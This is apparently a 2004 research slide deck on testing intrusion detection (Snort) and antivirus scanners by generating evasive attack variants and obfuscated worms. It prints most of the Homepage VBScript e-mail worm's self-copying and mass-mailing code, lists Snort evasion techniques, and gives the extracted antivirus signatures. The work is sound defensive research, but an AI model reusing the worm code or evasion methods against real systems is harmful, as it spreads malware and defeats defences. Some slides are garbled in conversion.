A Threat Model Methodology for Generating Test Cases

Somesh Jha • Bart Miller
Mihai Christodorescu • Shai Rubin

16 August 2004
Question:
Given a security system, does this system achieve its goals?

- Commonly used: protocol verification, construction of attack graphs
- Commonly not used: NIDS, AV, HIDS
# Threat Model Characteristics

<table>
<thead>
<tr>
<th></th>
<th>NIDS</th>
<th>AntiVirus</th>
</tr>
</thead>
<tbody>
<tr>
<td>Representation of attacker knowledge</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Structure of the attack space</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Exploration of the attack space</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Results</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
NIDS: State of the Art

A current NIDS is untrustworthy:
• wastes our time
• provides false sense of security
Threat: NIDS View Point

TCP streams

- Sasser instances
- Reported attacks (Sasser alarms)

Sasser
Formal Attack Specification
NIDS
Reported Attacks
TCP streams

All Sasser instances detected!

Reported attacks (Sasser alarms)

Sasser

Formal Attack Specification

NIDS

Reported Attacks
Quality (trustworthiness) of NIDS

Solution:
Develop a Threat-Model Methodology for NIDS testing.
Approach

• Build a **model for attacker’s knowledge**
• Use this knowledge to explore the space of attack instances
• Hopefully, find an instance that eludes a NIDS
Rookie Attacker

Transformation

- Fragmentation
- Retransmission
- Out-of-order
- Padding
- Replacement
- Context padding

Transport level

Application level

attack

att  ack

att  ack  ack

ack  att

a_t_t_a_c_k

attack

benign attack benign
Veteran Attacker

attack

attack

benign attack benign

benign a tt ack be

benign a tt tt ack be

nign tt tt ack be

nign tt tt ack be

nign benign a
High-tech Attacker

TCP streams

Formal Specification

Reported Attacks
Summary: Attackers’ Knowledge

• Transformations are simple
• Transformations are semantic-preserving
• Transformations are independent
• Transformations are syntactic manipulations
• Transformations can be combined
Natural deduction: a set of rules expressing how valid proofs may be constructed.
- Rules are simple
- Rules are sound
- Rules are independent
- Rules are syntactic transformations
- Combination of rules derives theorems

NIDS attacker’s knowledge:
Rules = attack transformations
Rule combinations = attack instances

Conjunction: \( \frac{P \quad Q}{P \land Q} \)  
(if both P and Q are true then also \( P \land Q \) is true)

Fragmentation: \( \frac{\text{attack}}{\text{att} \quad \text{ack}} \)  
(if A is an attack instance then any fragmentation of A is also an attack instance)
### Threat Model Characteristics

<table>
<thead>
<tr>
<th>Characteristics</th>
<th>NIDS</th>
<th>AntiVirus</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Representation of attacker knowledge</td>
<td>Natural deduction rules</td>
<td></td>
</tr>
<tr>
<td>• Structure of the attack space</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• Exploration of the attack space</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• Results</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
AGENT: \textbf{Attack GE}neration for \textbf{NIDS Testing}

**Attack Derivation Model**

- Transformation Rules
- Representative Instance
- Inference Engine
- Attack Closure
- Attack Simulator
- Attack Instance
- Snort
- Detect?
- Eluding Instance

Flowchart:
- Transform → Inference → Attack Closure → Attack Simulator
- Attack Instance → Snort → Detect?
  - Yes → Check another
  - No → Eluding Instance

TCP streams
Testing Methodology

• Rules
  - Transport level (TCP)
  - Application level (FTP, finger, HTTP)
  - Total of nine rules

• Representative attacks
  - finger (finger root)
  - HTTP (perl-in-CGI)
  - FTP (ftp-cwd)

• Testing phases
  - 7 phases
  - 2-3 rules each phase

<table>
<thead>
<tr>
<th>Transformation Rules</th>
<th>Inference Engine</th>
<th>Attack Closure</th>
<th>Attack Simulator</th>
</tr>
</thead>
<tbody>
<tr>
<td>Representative Attack</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Attack Instance</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Snort</td>
<td>Detect? No</td>
<td></td>
<td>Eluding Instance</td>
</tr>
<tr>
<td>Yes, check another</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
## Testing Summary

<table>
<thead>
<tr>
<th>Phase</th>
<th>Attack</th>
<th>Rules</th>
<th>Instances</th>
<th>% of eluding instances</th>
<th>Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>finger</td>
<td>TCP: frag + permute</td>
<td>1,631</td>
<td>0%</td>
<td>0</td>
</tr>
<tr>
<td>2</td>
<td>Finger</td>
<td>TCP: frag + permute + retrans</td>
<td>3,628,960</td>
<td>33%</td>
<td>1</td>
</tr>
<tr>
<td>3</td>
<td>Finger</td>
<td>finger: padding</td>
<td>25</td>
<td>0%</td>
<td>0</td>
</tr>
<tr>
<td>4</td>
<td>Finger</td>
<td>TCP: frag + permute finger: padding</td>
<td>6,812,346</td>
<td>0.15%</td>
<td>1</td>
</tr>
<tr>
<td>5</td>
<td>perl-in-cgi</td>
<td>HTTP padding</td>
<td>677,960</td>
<td>99%</td>
<td>1</td>
</tr>
<tr>
<td>6</td>
<td>perl-in-cgi</td>
<td>HTTP pipelining</td>
<td>100</td>
<td>99%</td>
<td>1</td>
</tr>
<tr>
<td>7</td>
<td>ftp-cwd</td>
<td>TCP: frag FTP: padding</td>
<td>178,585</td>
<td>23%</td>
<td>1</td>
</tr>
</tbody>
</table>
## Vulnerabilities Found

<table>
<thead>
<tr>
<th>Name</th>
<th>Enables attackers to:</th>
<th>Fixed</th>
</tr>
</thead>
<tbody>
<tr>
<td>Evasive RST</td>
<td>Hide any TCP-based attack</td>
<td>Yes, v2.0.2</td>
</tr>
<tr>
<td>Flushing</td>
<td>Hide any attack that its signature can be inflated (i.e. pad)</td>
<td>NO</td>
</tr>
<tr>
<td>HTTP padding</td>
<td>Hide any HTTP-based attack</td>
<td>NO</td>
</tr>
<tr>
<td>HTTP pipelining</td>
<td></td>
<td>NO</td>
</tr>
<tr>
<td>FTP padding</td>
<td>Hide any attack of that its signature is of the form “foo*bar”</td>
<td>Yes, v.2.0.6</td>
</tr>
</tbody>
</table>
FTP Padding Vulnerability

- A. "CWD" and (¬"\n") with 100 bytes
- B. TCP.length>100

Detected: A∧B

Detected: A

Not detected

Vulnerability: any pattern from the type foo*bar
Results summary

• 5 vulnerabilities in less than 2 months

• Positive results: verify that Snort correctly identify all instances of a given type.

• Why is AGENT successful?
  - Systematic combination of application and transport level rules
  - Exhaustiveness (in some cases)
## Threat Model Characteristics

<table>
<thead>
<tr>
<th>Characteristics</th>
<th>NIDS</th>
<th>AntiVirus</th>
</tr>
</thead>
<tbody>
<tr>
<td>Representation of attacker knowledge</td>
<td>Natural deduction rules</td>
<td></td>
</tr>
<tr>
<td>Structure of the attack space</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Exploration of the attack space</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Results</td>
<td>Found 5 undetected attacks.</td>
<td></td>
</tr>
</tbody>
</table>
Goal: Compute Any Attack Instance

- Is the initial instance unique?

TCP streams
Goal: Compute Any Attack Instance

- Is the initial instance unique?
- Are there derivation cycles?
Goal: Compute Any Attack Instance

- Is the initial instance unique?
- Are there derivation cycles?
- Is there a unique derivation path to each node?
Goal: Compute Any Attack Instance

- Is the initial instance unique?
- Are there derivation cycles?
- Is there a unique derivation path to each node?
- Are all attack instances derivable from each other?
## Goal: Compute All Attack Instances

<table>
<thead>
<tr>
<th>Question</th>
<th>Answer</th>
</tr>
</thead>
<tbody>
<tr>
<td>Is the initial instance unique?</td>
<td>Yes, with respect to the rules and attacks we investigated</td>
</tr>
<tr>
<td>Are there derivation cycles?</td>
<td>Yes, can be avoided by choosing an appropriate application order of rules</td>
</tr>
<tr>
<td>Is there a unique derivation path to each node?</td>
<td>No, can be avoided by choosing an appropriate application order of rules</td>
</tr>
<tr>
<td>Are all attack instances derivable from each other?</td>
<td>If they are not, how can they be the same attack?</td>
</tr>
</tbody>
</table>

- If these answers can be generalized to other rules and attacks, we have a computational model for attack instances.
- Such a model can be a tool to analyze, debug, verify NIDS.
What to Take Home

- Thesis: formal models can be used to improve a NIDS, increasing its trustworthiness

- Support for the thesis:
  - Formal model for attack computation
  - Practical testing tool
  - Practical attack analysis

- Future work:
  - Partitioning testing based on computational model (not presented)
  - Signature compiler
# Threat Model Characteristics

<table>
<thead>
<tr>
<th></th>
<th>NIDS</th>
<th>AntiVirus</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Representation of attacker knowledge</td>
<td>Natural deduction rules</td>
<td></td>
</tr>
<tr>
<td>• Structure of the attack space</td>
<td>Tree of attack instances</td>
<td></td>
</tr>
<tr>
<td>• Exploration of the attack space</td>
<td>Exhaustive (bounded rules)</td>
<td></td>
</tr>
<tr>
<td>• Results</td>
<td>Found 5 undetected attacks</td>
<td></td>
</tr>
</tbody>
</table>
Virus Detectors

A malware detector identifies malicious content (data, code).
Attacker Model

• An attacker tries to make malware appear benign.

• Obfuscation: same functionality, different form.

• Malware writers have many tools at their disposal
  - Blackhat tools: MISTFALL, CB Mutate, ...
  - Commercial tools: Cloakware, PECompact, ...
Renaming Obfuscation

Fragment of *Homepage* e-mail worm:

```
On Error Resume Next
...
Set will=rumor.OpenTextFile(WScript.ScriptFullname,1)
...
Set ego=rumor.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)
```

Obfuscated fragment of *Homepage* e-mail worm:

```
On Error Resume Next
...
Set will=rumor.OpenTextFile(WScript.ScriptFullname,1)
...
Set ego=rumor.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)
```
Encapsulation Obfuscation

Fragment of the Homepage worm:

```
On Error Resume Next

Set InF=FSO.OpenTextFile(WScript.ScriptFullName,1)

Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)
```

Obfuscated fragment of the Homepage worm:

```
Execute( decode( "4F6E20457272...6F7220526573" ) )

... Execute( decode( "66657226496E...462E52656164" ) )

... Execute( decode( "4C696E652676...6263726C660A" ) )
```
**How Detection Works**

Virus detectors are malware detectors that use **signatures** to identify malicious code.

**McAfee VirusScan signature for the Homepage worm:**

```vbs
On Error Resume Next
...
Set InF=FSO.OpenTextFile(WScript.ScriptFullName,1)
...
Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)
```
Sample Virus Signature

```vbs
On Error Resume Next
Set WS = CreateObject("WScript.Shell")
Set FSO= CreateObject("scripting.filesystemobject")
Folder=FSO.GetSpecialFolder(2)
Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1)
Do While InF.AtEndOfStream <> True
    ScriptBuffer=ScriptBuffer&InF.ReadLine&vbCrLf
Loop
Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)
    OutF.write ScriptBuffer
    OutF.close
Set FSO=Nothing
If WS.regread ("HKCU\software\An\mailed") <> "1" then
    Mailit()
End If

Function Mailit()
On Error Resume Next
Set Outlook = CreateObject("Outlook.Application")
If Outlook = "Outlook" Then
    Set Mapi=Outlook.GetNameSpace("MAPI")
    Set Lists=Mapi.AddressLists
    For Each ListIndex In Lists
        ContactCount = ListIndex.AddressEntries.Count
        For Count= 1 To ContactCount
            Set Mail = Outlook.CreateItem(0)
            Set Contact = ListIndex.AddressEntries(Count)
            Mail.To = Contact.AddressMail.Subject = "Homepage"
            Mail.Body = vbCrLf&"Hi!"& vbCrLf& vbCrLf&"You've got to see this page! It's really cool :O)"
            Set Attachment=Mail.Attachments
            Attachment.Add Folder & "\homepage.HTML.vbs"
            Mail.DeleteAfterSubmit = True
            If Mail.To <> "" Then
                WS.regwrite "HKCU\software\An\mailed", "1"
            End If
        Next
    End If
End Function
```
## Threat Model Characteristics

<table>
<thead>
<tr>
<th>Representation of attacker knowledge</th>
<th>NIDS: Natural deduction rules</th>
<th>AntiVirus: Program obfuscation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Structural analysis of the system</td>
<td>Tree of attack instances</td>
<td></td>
</tr>
<tr>
<td>Exploration of the attack space</td>
<td>Exhaustive (bounded rules)</td>
<td></td>
</tr>
<tr>
<td>Results</td>
<td>Found 5 undetected attacks</td>
<td></td>
</tr>
</tbody>
</table>
AV Testing Goal: Resilience

Question 1:
• How resistant is a virus scanner to obfuscations or variants of known worms?

Question 2:
• Using the limitations of a virus scanner, can a blackhat determine its detection algorithm?
AV Testing Methodology

1. **Random testing** for resilience assessment
   - Use obfuscation transformations to generate worm instances to be used as test samples.

2. **Adaptive testing** for signature discovery
   - Use virus scanner detection rates on obfuscated worm instances to learn the signature employed.
1. AV Random testing

- Worm
  - Parameter Generator
    - Obfuscation Algorithm
      - Obfuscated Worm
      - Variable renaming
      - Code encapsulation
      - Garbage insertion
      - Code reordering
  - Virus Scanner
    - Detected / Not detected
1. AV Random testing

<table>
<thead>
<tr>
<th></th>
<th>Detected</th>
<th>Not detected</th>
<th>Total</th>
</tr>
</thead>
<tbody>
<tr>
<td>Original worm</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Obfuscated instances</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Homepage worm in Norton AV</td>
<td></td>
<td></td>
<td>4432</td>
</tr>
<tr>
<td>Detected</td>
<td>3390</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Not detected</td>
<td>512</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Total</td>
<td>4432</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

False Negative Rate: 11.5%
AV False Negative Rate by Worm

Sophos cannot cope with obfuscations.

No improvement over time.
AV False Negative Rate by Worm

Wild variation in false negative rates.

- Norton AntiVirus
- Sophos Antivirus
- McAfee Virus Scan

Melissa: 5%
Tune: 0%
Chantal: 72%
Anna Kournikova: 75%
Homepage: 13%
Lucky2: 53%
GaScript: 13%
Yovp: 38%
2. AV Adaptive Testing

Signature discovery algorithm finds the malware statements that, when obfuscated, create an undetectable malware variant.

We need an opaque obfuscation transformation.
Discovered AV Signatures

- Worm sample: *Homepage*

- **Norton AntiVirus**
  
  Attachment.Add Folder & "\homepage.HTML.vbs"

- **Sophos Antivirus**
  
  *The whole body of the malware.*

- **McAfee Virus Scan**
  
  On Error Resume Next
  
  Set InF = FSO.OpenTextFile(
    WScript.ScriptFullname, 1 )
  
  Set OutF = FSO.OpenTextFile( Folder & 
    "\homepage.HTML.vbs", 2, true )
What If...

• A virus writer uses signature information to thwart virus scanners.
  - Each virus variant can now evade detection.
  - Viruses can repeatedly try to enter a system, learning the signature in the process.
Lessons Learned

• Obfuscation-based testing techniques are useful in comparing virus scanners.
• Commercial virus scanners have poor resilience to common obfuscation transformations.

• The road ahead:
  - Apply threat-model testing methodology to binary malware (using BREW)
  - Refine signature discovery algorithm
## Threat Model Characteristics

<table>
<thead>
<tr>
<th></th>
<th>NIDS</th>
<th>AntiVirus</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>• Representation of attacker knowledge</strong></td>
<td>Natural deduction rules</td>
<td>Program obfuscation</td>
</tr>
<tr>
<td><strong>• Structure of the attack space</strong></td>
<td>Tree of attack instances</td>
<td>Graph of attack instances</td>
</tr>
<tr>
<td><strong>• Exploration of the attack space</strong></td>
<td>Exhaustive (bounded rules)</td>
<td>Signature discovery</td>
</tr>
<tr>
<td><strong>• Results</strong></td>
<td>Found 5 undetected attacks</td>
<td>Found signatures</td>
</tr>
</tbody>
</table>
Conclusions

• Threat-model methodology has wide applicability:
  - Assessment of NIDS
  - Assessment of virus detectors

• Threat model for NIDS and threat model for virus detectors are complementary:
  - NIDS model: network data transformations
  - AV model: program obfuscation transformations
A Threat Model Methodology for Misuse Detection

Somesh Jha • Bart Miller
Mihai Christodorescu • Shai Rubin

16 August 2004